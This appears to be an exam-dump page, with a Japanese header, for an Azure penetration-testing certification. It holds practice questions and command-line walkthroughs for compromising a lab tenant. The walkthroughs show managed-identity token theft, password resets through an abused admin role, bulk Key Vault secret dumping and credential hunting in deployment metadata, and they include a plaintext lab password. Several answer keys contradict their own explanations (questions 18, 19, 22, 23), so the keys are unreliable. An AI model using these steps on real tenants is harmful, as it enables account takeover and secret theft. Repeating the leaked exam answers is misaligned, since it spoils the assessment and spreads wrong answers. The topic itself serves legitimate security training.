[2026年08月20日] 最新更新されたのはCCPenX-Az試験問題2026年更新
無料更新されたThe SecOps Group CCPenX-Azテストエンジン問題には33問題と解答
質問 # 18
Using the previously gained access to the Azure environment, extract an access token from the Web App's environment and use it to impersonate its Managed Identity. Which of the following roles is assigned to the Web App's Security Principal?
- A. VM-Metadata-Reader
- B. AppService-Auditor
- C. Storage-Metadata-Reader
- D. Compute-Instance-Inspector
正解：B
解説：
Detailed Solution:
First identify the managed identity attached to the Web App.
az webapp identity show \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
You should see a user-assigned managed identity similar to:
{
" userAssignedIdentities " : {
" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers
/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {
" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,
" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "
}
}
}
Now query the role assignments for the managed identity's principal ID:
az role assignment list \
--assignee efe89e83-010f-42f6-9576-30531fa47af7 \
--all \
--output table
The returned custom role is:
AppService-Auditor
That makes option D correct.
Final answer:
D). AppService-Auditor
質問 # 19
You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates that an attacker reset another user's password through Microsoft Entra ID?
- A. Microsoft.Authorization/roleAssignments/write
- B. Microsoft.KeyVault/vaults/secrets/read
- C. Update user / password profile modification
- D. Microsoft.Storage/storageAccounts/listKeys/action
正解：C
解説：
Detailed Solution:
In an Entra ID abuse path, a privileged user such as User Administrator may reset another user's password. In logs, this appears as a user update operation involving the password profile.
Check audit logs in the portal:
Microsoft Entra ID # Monitoring # Audit logs
Or query via Microsoft Graph/Azure tooling depending on permissions.
The activity to look for is generally:
Update user
Modified property: passwordProfile
The other options represent different activities:
Microsoft.Authorization/roleAssignments/write = RBAC role assignment change Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read Correct answer:
B). Update user / password profile modification
質問 # 20
A compromised developer account has Reader access to a resource group. Enumerate all Azure resources in that resource group and identify the exposed App Service name.
正解：
解説：
See the Answer in Explanation below.
Explanation:
finance-reporting-api
Detailed Solution:
Set the resource group:
RG= " rg-prod-apps-eastus "
List resources:
az resource list \
--resource-group " $RG " \
--output table
Expected output:
Name ResourceGroup Location Type
---------------------- --------------------- ---------- ------------------------------- finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults The exposed App Service is:
finance-reporting-api
質問 # 21
ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the migration, the company suffered a security breach resulting in the exposure of sensitive internal data. Their investigation revealed that the attack originated from a disgruntled developer who has since disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica Azure environment with the same permissions the developer had at the time of the incident. Your task is to simulate the attacker's actions, uncover the full extent of the compromise, and identify vulnerable configurations or services that enabled the breach.
Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure Active Directory/AAD Tenant ID associated with the environment.
正解：
解説：
See the Answer in Explanation below.
Explanation:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u [email protected] -p ' pg:Lr{k102l(fh7! ' After successful authentication, check the active Azure subscription context.
az account show
The important fields are:
{
" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,
" name " : " Azure subscription 1 " ,
" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,
" tenantDisplayName " : " ExcaliburCorp " ,
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
質問 # 22
During network reconnaissance of an Azure VM, you inspect its Network Security Group. Which inbound rule creates the highest risk?
- A. Deny all inbound from Internet
- B. Allow TCP 1433 from private subnet only
- C. Allow TCP 443 from Internet
- D. Allow TCP 22 from Internet
正解：D
解説：
Detailed Solution:
List NSG rules:
az network nsg rule list \
--resource-group rg-prod-apps-eastus \
--nsg-name nsg-prod-linux01 \
--output table
Expected risky rule:
Name Priority Direction Access Protocol Source DestinationPortRange
------------ -------- --------- ------ -------- ------------ -------------------- Allow-SSH 100 Inbound Allow Tcp Internet 22 SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.
Correct answer:
B). Allow TCP 22 from Internet
質問 # 23
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
- A. No, Contributor does not automatically grant Key Vault secret data-plane read
- B. No, service principals cannot access Key Vault
- C. Yes, Contributor includes secret read permissions
- D. Yes, if the vault is in the same resource group
正解：A
解説：
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
質問 # 24
The App Service has a system-assigned managed identity enabled. Identify the managed identity principal ID.
正解：
解説：
See the Answer in Explanation below.
Explanation:
b72a4c19-92f6-47f3-b3dd-9db5a31831d1
Detailed Solution:
Run:
az webapp identity show \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Expected output:
{
" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" type " : " SystemAssigned "
}
The principalId is the service principal object ID of the managed identity.
Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.
質問 # 25
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
正解：
解説：
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id [email protected] \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u [email protected] -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
[email protected].
質問 # 26
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
正解：
解説：
See the Answer in Explanation below.
Explanation:
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
質問 # 27
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
正解：
解説：
See the Answer in Explanation below.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
質問 # 28
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
正解：
解説：
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
質問 # 29
Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?
- A. objectId
- B. tenantId
- C. clientSecret
- D. clientId
正解：D
解説：
Detailed Solution:
Download the blob:
az storage blob download \
--account-name prodreportstore01 \
--container-name public-backups \
--name backup-config.json \
--file backup-config.json \
--auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" clientSecret " : " REDACTED "
}
The App Registration application/client ID is stored in:
clientId
質問 # 30
You have been given a breached Azure user credential for an authorized lab tenant:
[email protected]
After logging in, identify the Azure Tenant ID and Subscription ID associated with the account.
正解：
解説：
See the Answer in Explanation below.
Explanation:
Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021
Detailed Solution:
Log in with the supplied account:
az login -u [email protected] -p ' < password > ' Show the active Azure context:
az account show --output json
Expected relevant output:
{
" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,
" name " : " CloudCorp Security Lab " ,
" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "
}
The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.
質問 # 31
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